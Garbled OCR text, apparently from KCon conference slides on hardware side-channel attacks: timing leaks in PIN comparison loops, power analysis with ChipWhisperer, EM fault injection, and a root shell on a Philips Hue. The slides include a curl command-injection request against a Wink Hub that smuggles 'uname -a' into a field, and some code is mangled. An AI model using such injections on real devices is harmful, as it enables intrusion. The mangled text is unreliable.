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(1)

NFEAT
unsigned char correctpin[6] = {1,2,3,4,5,6};
unsigned char enteredpin[6];

read_pin_from_ buttons(enteredpin);

for (1 = 0; 1 < 65 i++){

if (correctpin[i] '= enteredpin[i]){
return;

value: Password = 6 Bytes digis

i = 0O
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Titan - Timing attack

* Current consumption markers for timing delta
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® Titan — Timing attack
.
8 & * Entire six-digit keypad sequence is captured
,pQ /, before starting comparison to key from EEPROM
P a2 - .
w ¢ * Pseudocode of Titan keycode comparison:
bool check_code(int enteredCode[6], int actualCode[6])
{
for (int digit = 0; digit < 6; digit++)
S if (enteredCodeldigit] != actualCode[digit])
. \ return false;
5 - 2 .].71 return true; Each iteration takes

another 28 us
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WINK HUB
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181 ) D1 Egt 471518 (set_dev_value.php)

curl “192.168.01/set_dev_value.php” -d “nodeld=a&attrid=; uname -a;"
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shell F2=\
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Philips-hue login: root

Password:

BusyBox v1.19.4 (2016-10-13 18:15:14 CEST) built-
Enter

1n shell
‘help' for g 1ist of built-in commands

-
Assy 40-00007-01
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Crypto Device — Ciphertext
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System Under Attack




A A
Ij] ;F%ﬁj\jrﬁ— V¢ KCon

J:Ett-!;‘

shunt
resistor

oscilloscope



i DIFETT (ChipWhisperer) KCon

1%

. Colin O'Flynn 1831 HI{E, %> SCA THEEA AT ERFE NS

 ETFPython BB & FEHAEEHILE (Windows; Linux; MacOS)
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BT DPA Z5 ST 3R ELE U0 RSA; AES: 3DES £ 0%, %4A
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Hidden
Clock 3 " Output

Datal0] i

1) 3

BEPKK=7 - ——Re" 5
Data[1] 56 @ ; 5

32ZPKK=? == 6

Guess KK=EF
The dat:
state half-way between VCC and GND. By looki
at the power us can determine how many
=3 e bits were set to *1” vs ‘0’ on every clock edge.
to VCC or GND. g i
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Generated and Induced Magnetic Field

HIGH VOLTGE
GENERATOR
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¢ target in main GUI

pisconnect | €
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M58 EMF

@ Colin O'Flynn

) » badge status: freehanding EMFI
tool gets into some weird states on blink
patterns, but no USB enumeration for
potential bootloader. Then killed the board,
so 3/10 would not recommend as now
8:15AM and project is done.
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